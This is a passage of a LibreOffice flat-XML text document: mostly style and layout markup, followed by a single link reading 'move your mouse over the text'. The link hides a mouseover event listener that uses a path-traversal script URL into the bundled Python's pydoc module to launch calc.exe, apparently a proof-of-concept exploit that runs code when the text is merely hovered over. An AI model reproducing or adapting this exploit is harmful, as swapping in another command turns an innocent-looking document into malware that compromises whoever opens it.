   <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
  </style:style>
  <style:style style:name="List" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="list">
   <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/>
  </style:style>
  <style:style style:name="Caption" style:family="paragraph" style:parent-style-name="Standard" style:class="extra">
   <style:paragraph-properties fo:margin-top="0.0835in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" text:number-lines="false" text:line-number="0"/>
   <style:text-properties fo:font-size="12pt" fo:font-style="italic" style:font-size-asian="12pt" style:font-style-asian="italic" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss" style:font-size-complex="12pt" style:font-style-complex="italic"/>
  </style:style>
  <style:style style:name="Index" style:family="paragraph" style:parent-style-name="Standard" style:class="index">
   <style:paragraph-properties text:number-lines="false" text:line-number="0"/>
   <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/>
  </style:style>
  <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
   <style:text-properties fo:color="#000080" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
  </style:style>
  <text:outline-style style:name="Outline">
   <text:outline-level-style text:level="1" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="2" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="3" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="4" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="5" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="6" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="7" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="8" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="9" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="10" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
  </text:outline-style>
  <text:notes-configuration text:note-class="footnote" style:num-format="1" text:start-value="0" text:footnotes-position="page" text:start-numbering-at="document"/>
  <text:notes-configuration text:note-class="endnote" style:num-format="i" text:start-value="0"/>
  <text:linenumbering-configuration text:number-lines="false" text:offset="0.1965in" style:num-format="1" text:number-position="left" text:increment="5"/>
 </office:styles>
 <office:automatic-styles>
  <style:style style:name="T1" style:family="text">
   <style:text-properties officeooo:rsid="001104a2"/>
  </style:style>
  <style:page-layout style:name="pm1">
   <style:page-layout-properties fo:page-width="8.5in" fo:page-height="11in" style:num-format="1" style:print-orientation="portrait" fo:margin-top="0.7874in" fo:margin-bottom="0.7874in" fo:margin-left="0.7874in" fo:margin-right="0.7874in" style:writing-mode="lr-tb" style:footnote-max-height="0in">
    <style:footnote-sep style:width="0.0071in" style:distance-before-sep="0.0398in" style:distance-after-sep="0.0398in" style:line-style="solid" style:adjustment="left" style:rel-width="25%" style:color="#000000"/>
   </style:page-layout-properties>
   <style:header-style/>
   <style:footer-style/>
  </style:page-layout>
 </office:automatic-styles>
 <office:master-styles>
  <style:master-page style:name="Standard" style:page-layout-name="pm1"/>
 </office:master-styles>
 <office:body>
  <office:text>
   <text:sequence-decls>
    <text:sequence-decl text:display-outline-level="0" text:name="Illustration"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Table"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Text"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Drawing"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Figure"/>
   </text:sequence-decls>
   <text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://test/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1">move your mouse over the text</text:span></text:a></text:p>
  </office:text>
 </office:body>
</office:document>